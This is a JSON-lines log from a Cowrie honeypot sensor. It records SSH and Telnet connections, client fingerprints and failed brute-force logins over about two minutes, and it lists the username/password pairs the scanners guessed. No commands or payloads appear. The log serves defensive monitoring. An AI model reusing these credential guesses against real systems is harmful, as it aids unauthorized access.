{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:42.049105Z","src_ip":"38.93.206.2","session":"aa0c92d49a68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:42.101613Z","src_ip":"38.93.206.2","session":"aa0c92d49a68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:42.254057Z","src_ip":"38.93.206.2","session":"aa0c92d49a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:43.308655Z","src_ip":"38.93.206.2","session":"aa0c92d49a68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58762,"dst_ip":"10.17.0.5","dst_port":23,"session":"52dc44b9e9f5","protocol":"telnet","message":"New connection: 50.6.8.71:58762 (10.17.0.5:23) [session: 52dc44b9e9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:44.314303Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60527,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b03e686f0e5","protocol":"ssh","message":"New connection: 109.91.4.177:60527 (159.203.135.109:22) [session: 1b03e686f0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:48.568196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:48.577872Z","src_ip":"109.91.4.177","session":"1b03e686f0e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:48.684520Z","src_ip":"109.91.4.177","session":"1b03e686f0e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Qwe123C","message":"login attempt [root/123Qwe123C] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:49.141261Z","src_ip":"109.91.4.177","session":"1b03e686f0e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:50.252332Z","src_ip":"109.91.4.177","session":"1b03e686f0e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.678326845169067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:35:01.360138Z","src_ip":"50.6.8.71","session":"5ac6854a73fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34590,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdd0c4b571a5","protocol":"telnet","message":"New connection: 50.6.8.71:34590 (10.17.0.5:23) [session: cdd0c4b571a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:35:06.130442Z"}
{"eventid":"cowrie.session.closed","duration":33.203285932540894,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:35:06.958413Z","src_ip":"50.6.8.71","session":"d791b60f2f9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34606,"dst_ip":"10.17.0.5","dst_port":23,"session":"58c259be437e","protocol":"telnet","message":"New connection: 50.6.8.71:34606 (10.17.0.5:23) [session: 58c259be437e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:35:07.818948Z"}
{"eventid":"cowrie.session.closed","duration":32.69836902618408,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:35:17.012579Z","src_ip":"50.6.8.71","session":"52dc44b9e9f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62671,"dst_ip":"159.203.135.109","dst_port":22,"session":"c211c7722ff9","protocol":"ssh","message":"New connection: 109.91.4.177:62671 (159.203.135.109:22) [session: c211c7722ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:35:30.584990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:35:30.589724Z","src_ip":"109.91.4.177","session":"c211c7722ff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:35:31.179096Z","src_ip":"109.91.4.177","session":"c211c7722ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:35:31.729681Z","src_ip":"109.91.4.177","session":"c211c7722ff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:35:32.848671Z","src_ip":"109.91.4.177","session":"c211c7722ff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.936197757720947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:35:37.066501Z","src_ip":"50.6.8.71","session":"cdd0c4b571a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3636531829834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:35:38.182487Z","src_ip":"50.6.8.71","session":"58c259be437e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36032,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f86360497ae","protocol":"telnet","message":"New connection: 50.6.8.71:36032 (10.17.0.5:23) [session: 8f86360497ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:35:45.312102Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":53150,"dst_ip":"10.17.0.5","dst_port":22,"session":"15e8f3b59749","protocol":"ssh","message":"New connection: 109.172.54.111:53150 (10.17.0.5:22) [session: 15e8f3b59749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:03.021196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:03.105490Z","src_ip":"109.172.54.111","session":"15e8f3b59749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:03.185871Z","src_ip":"109.172.54.111","session":"15e8f3b59749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:03.544645Z","src_ip":"109.172.54.111","session":"15e8f3b59749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":41914,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f3127b9b285","protocol":"ssh","message":"New connection: 201.77.124.248:41914 (159.203.135.109:22) [session: 5f3127b9b285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:04.268931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:04.273480Z","src_ip":"201.77.124.248","session":"5f3127b9b285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:04.410636Z","src_ip":"201.77.124.248","session":"5f3127b9b285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:04.651071Z","src_ip":"109.172.54.111","session":"15e8f3b59749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:04.985080Z","src_ip":"201.77.124.248","session":"5f3127b9b285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:06.124865Z","src_ip":"201.77.124.248","session":"5f3127b9b285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":33482,"dst_ip":"10.17.0.5","dst_port":22,"session":"aee2036f8c9b","protocol":"ssh","message":"New connection: 109.237.96.109:33482 (10.17.0.5:22) [session: aee2036f8c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:06.939771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:06.944671Z","src_ip":"109.237.96.109","session":"aee2036f8c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:07.040607Z","src_ip":"109.237.96.109","session":"aee2036f8c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:07.326316Z","src_ip":"109.237.96.109","session":"aee2036f8c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.138","src_port":37892,"dst_ip":"10.17.0.5","dst_port":23,"session":"55a868fdbdfd","protocol":"telnet","message":"New connection: 66.132.172.138:37892 (10.17.0.5:23) [session: 55a868fdbdfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:07.653205Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:08.423489Z","src_ip":"109.237.96.109","session":"aee2036f8c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63431,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f681c7e500f","protocol":"ssh","message":"New connection: 109.91.4.177:63431 (159.203.135.109:22) [session: 8f681c7e500f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:13.854834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:13.861511Z","src_ip":"109.91.4.177","session":"8f681c7e500f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:13.969585Z","src_ip":"109.91.4.177","session":"8f681c7e500f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:14.731929Z","src_ip":"109.91.4.177","session":"8f681c7e500f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:15.841461Z","src_ip":"109.91.4.177","session":"8f681c7e500f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.839093685150146,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:23.492188Z","src_ip":"66.132.172.138","session":"55a868fdbdfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.40001392364502,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:23.712002Z","src_ip":"50.6.8.71","session":"8f86360497ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.138","src_port":17948,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e7c0f47961e","protocol":"telnet","message":"New connection: 66.132.172.138:17948 (10.17.0.5:23) [session: 8e7c0f47961e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:28.554964Z"}
{"eventid":"cowrie.session.closed","duration":3.3060362339019775,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:31.860873Z","src_ip":"66.132.172.138","session":"8e7c0f47961e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.237","src_port":15728,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ca9fb1cb2bd","protocol":"telnet","message":"New connection: 66.132.224.237:15728 (10.17.0.5:23) [session: 4ca9fb1cb2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:41.381863Z"}
